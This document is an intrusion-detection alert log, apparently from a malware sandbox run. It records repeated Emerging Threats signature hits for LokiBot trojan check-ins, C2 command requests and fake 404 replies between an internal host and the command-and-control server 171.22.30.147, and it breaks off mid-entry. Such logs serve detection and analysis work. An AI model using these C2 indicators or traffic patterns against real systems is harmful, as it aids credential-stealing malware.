Timestamp:	192.168.2.3171.22.30.14749882802025381 01/05/23-08:53:04.789158
SID:	2025381
Source Port:	49882
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750065802024318 01/05/23-08:53:58.843527
SID:	2024318
Source Port:	50065
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750068802024318 01/05/23-08:53:59.646284
SID:	2024318
Source Port:	50068
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749928802025381 01/05/23-08:53:18.678448
SID:	2025381
Source Port:	49928
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749745802825766 01/05/23-08:52:24.023320
SID:	2825766
Source Port:	49745
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749798802024313 01/05/23-08:52:40.547899
SID:	2024313
Source Port:	49798
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749758802021641 01/05/23-08:52:27.765970
SID:	2021641
Source Port:	49758
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750062802021641 01/05/23-08:53:58.073723
SID:	2021641
Source Port:	50062
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749789802024318 01/05/23-08:52:38.076275
SID:	2024318
Source Port:	49789
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750012802825766 01/05/23-08:53:43.190304
SID:	2825766
Source Port:	50012
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749798802024318 01/05/23-08:52:40.547899
SID:	2024318
Source Port:	49798
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749789802024313 01/05/23-08:52:38.076275
SID:	2024313
Source Port:	49789
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749970802021641 01/05/23-08:53:32.043326
SID:	2021641
Source Port:	49970
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750037802021641 01/05/23-08:53:51.314352
SID:	2021641
Source Port:	50037
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749900802024318 01/05/23-08:53:10.997847
SID:	2024318
Source Port:	49900
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750034802021641 01/05/23-08:53:50.478539
SID:	2021641
Source Port:	50034
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749854802025381 01/05/23-08:52:57.240558
SID:	2025381
Source Port:	49854
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499362025483 01/05/23-08:53:20.912682
SID:	2025483
Source Port:	80
Destination Port:	49936
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749786802021641 01/05/23-08:52:37.217550
SID:	2021641
Source Port:	49786
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749973802024313 01/05/23-08:53:32.829653
SID:	2024313
Source Port:	49973
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749762802025381 01/05/23-08:52:28.868227
SID:	2025381
Source Port:	49762
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499142025483 01/05/23-08:53:14.932365
SID:	2025483
Source Port:	80
Destination Port:	49914
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749973802024318 01/05/23-08:53:32.829653
SID:	2024318
Source Port:	49973
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749845802025381 01/05/23-08:52:54.838950
SID:	2025381
Source Port:	49845
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749961802021641 01/05/23-08:53:29.597138
SID:	2021641
Source Port:	49961
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749974802825766 01/05/23-08:53:33.106432
SID:	2825766
Source Port:	49974
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749799802825766 01/05/23-08:52:40.836883
SID:	2825766
Source Port:	49799
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750076802025381 01/05/23-08:54:01.789357
SID:	2025381
Source Port:	50076
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749764802825766 01/05/23-08:52:29.472789
SID:	2825766
Source Port:	49764
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749891802825766 01/05/23-08:53:07.205477
SID:	2825766
Source Port:	49891
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749771802025381 01/05/23-08:52:31.374001
SID:	2025381
Source Port:	49771
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749900802024313 01/05/23-08:53:10.997847
SID:	2024313
Source Port:	49900
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749929802024318 01/05/23-08:53:18.948979
SID:	2024318
Source Port:	49929
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750011802024318 01/05/23-08:53:42.925761
SID:	2024318
Source Port:	50011
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749869802021641 01/05/23-08:53:01.298022
SID:	2021641
Source Port:	49869
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749929802024313 01/05/23-08:53:18.948979
SID:	2024313
Source Port:	49929
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749846802024313 01/05/23-08:52:55.097334
SID:	2024313
Source Port:	49846
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749920802825766 01/05/23-08:53:16.511672
SID:	2825766
Source Port:	49920
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749736802825766 01/05/23-08:52:21.543284
SID:	2825766
Source Port:	49736
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749819802825766 01/05/23-08:52:46.293306
SID:	2825766
Source Port:	49819
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749790802025381 01/05/23-08:52:38.345416
SID:	2025381
Source Port:	49790
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750068802024313 01/05/23-08:53:59.646284
SID:	2024313
Source Port:	50068
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749907802021641 01/05/23-08:53:12.956728
SID:	2021641
Source Port:	49907
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499492025483 01/05/23-08:53:24.440314
SID:	2025483
Source Port:	80
Destination Port:	49949
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749702802024318 01/05/23-08:52:08.155254
SID:	2024318
Source Port:	49702
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749763802024318 01/05/23-08:52:29.176849
SID:	2024318
Source Port:	49763
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749815802024313 01/05/23-08:52:45.213789
SID:	2024313
Source Port:	49815
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380500602025483 01/05/23-08:53:57.625551
SID:	2025483
Source Port:	80
Destination Port:	50060
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749763802024313 01/05/23-08:52:29.176849
SID:	2024313
Source Port:	49763
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498122025483 01/05/23-08:52:44.499614
SID:	2025483
Source Port:	80
Destination Port:	49812
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749858802024318 01/05/23-08:52:58.341182
SID:	2024318
Source Port:	49858
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750013802025381 01/05/23-08:53:43.455950
SID:	2025381
Source Port:	50013
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750038802825766 01/05/23-08:53:51.593310
SID:	2825766
Source Port:	50038
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749840802021641 01/05/23-08:52:53.465268
SID:	2021641
Source Port:	49840
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749999802024318 01/05/23-08:53:39.715844
SID:	2024318
Source Port:	49999
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749843802024318 01/05/23-08:52:54.266621
SID:	2024318
Source Port:	49843
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749843802024313 01/05/23-08:52:54.266621
SID:	2024313
Source Port:	49843
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749880802025381 01/05/23-08:53:04.232334
SID:	2025381
Source Port:	49880
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749797802025381 01/05/23-08:52:40.255110
SID:	2025381
Source Port:	49797
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498942025483 01/05/23-08:53:08.094953
SID:	2025483
Source Port:	80
Destination Port:	49894
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749779802025381 01/05/23-08:52:35.235559
SID:	2025381
Source Port:	49779
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749975802025381 01/05/23-08:53:33.363507
SID:	2025381
Source Port:	49975
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749791802024313 01/05/23-08:52:38.617554
SID:	2024313
Source Port:	49791
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749886802024318 01/05/23-08:53:05.845633
SID:	2024318
Source Port:	49886
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750079802025381 01/05/23-08:54:02.588823
SID:	2025381
Source Port:	50079
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497632025483 01/05/23-08:52:29.259911
SID:	2025483
Source Port:	80
Destination Port:	49763
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749791802024318 01/05/23-08:52:38.617554
SID:	2024318
Source Port:	49791
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749886802024313 01/05/23-08:53:05.845633
SID:	2024313
Source Port:	49886
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749903802024313 01/05/23-08:53:11.877542
SID:	2024313
Source Port:	49903
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497132025483 01/05/23-08:52:12.903010
SID:	2025483
Source Port:	80
Destination Port:	49713
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749725802024313 01/05/23-08:52:18.390674
SID:	2024313
Source Port:	49725
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750060802021641 01/05/23-08:53:57.543966
SID:	2021641
Source Port:	50060
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749720802024318 01/05/23-08:52:16.949813
SID:	2024318
Source Port:	49720
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749721802825766 01/05/23-08:52:17.231128
SID:	2825766
Source Port:	49721
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749702802024313 01/05/23-08:52:08.155254
SID:	2024313
Source Port:	49702
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749815802024318 01/05/23-08:52:45.213789
SID:	2024318
Source Port:	49815
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499772025483 01/05/23-08:53:33.981197
SID:	2025483
Source Port:	80
Destination Port:	49977
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749737802021641 01/05/23-08:52:21.818381
SID:	2021641
Source Port:	49737
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749720802024313 01/05/23-08:52:16.949813
SID:	2024313
Source Port:	49720
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749816802825766 01/05/23-08:52:45.483412
SID:	2825766
Source Port:	49816
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498402025483 01/05/23-08:52:53.550362
SID:	2025483
Source Port:	80
Destination Port:	49840
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749885802025381 01/05/23-08:53:05.575803
SID:	2025381
Source Port:	49885
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750076802825766 01/05/23-08:54:01.789357
SID:	2825766
Source Port:	50076
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750065802021641 01/05/23-08:53:58.843527
SID:	2021641
Source Port:	50065
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499932025483 01/05/23-08:53:38.222516
SID:	2025483
Source Port:	80
Destination Port:	49993
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749930802021641 01/05/23-08:53:19.220224
SID:	2021641
Source Port:	49930
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380500322025483 01/05/23-08:53:50.027342
SID:	2025483
Source Port:	80
Destination Port:	50032
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750022802021641 01/05/23-08:53:46.665385
SID:	2021641
Source Port:	50022
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749795802021641 01/05/23-08:52:39.717554
SID:	2021641
Source Port:	49795
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749798802021641 01/05/23-08:52:40.547899
SID:	2021641
Source Port:	49798
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380500102025483 01/05/23-08:53:42.733074
SID:	2025483
Source Port:	80
Destination Port:	50010
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498622025483 01/05/23-08:52:59.516920
SID:	2025483
Source Port:	80
Destination Port:	49862
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498072025483 01/05/23-08:52:43.124131
SID:	2025483
Source Port:	80
Destination Port:	49807
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749977802025381 01/05/23-08:53:33.899852
SID:	2025381
Source Port:	49977
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749725802024318 01/05/23-08:52:18.390674
SID:	2024318
Source Port:	49725
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750037802024313 01/05/23-08:53:51.314352
SID:	2024313
Source Port:	50037
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749903802024318 01/05/23-08:53:11.877542
SID:	2024318
Source Port:	49903
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749881802024313 01/05/23-08:53:04.500331
SID:	2024313
Source Port:	49881
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749782802825766 01/05/23-08:52:36.098088
SID:	2825766
Source Port:	49782
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749842802025381 01/05/23-08:52:54.011182
SID:	2025381
Source Port:	49842
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750037802024318 01/05/23-08:53:51.314352
SID:	2024318
Source Port:	50037
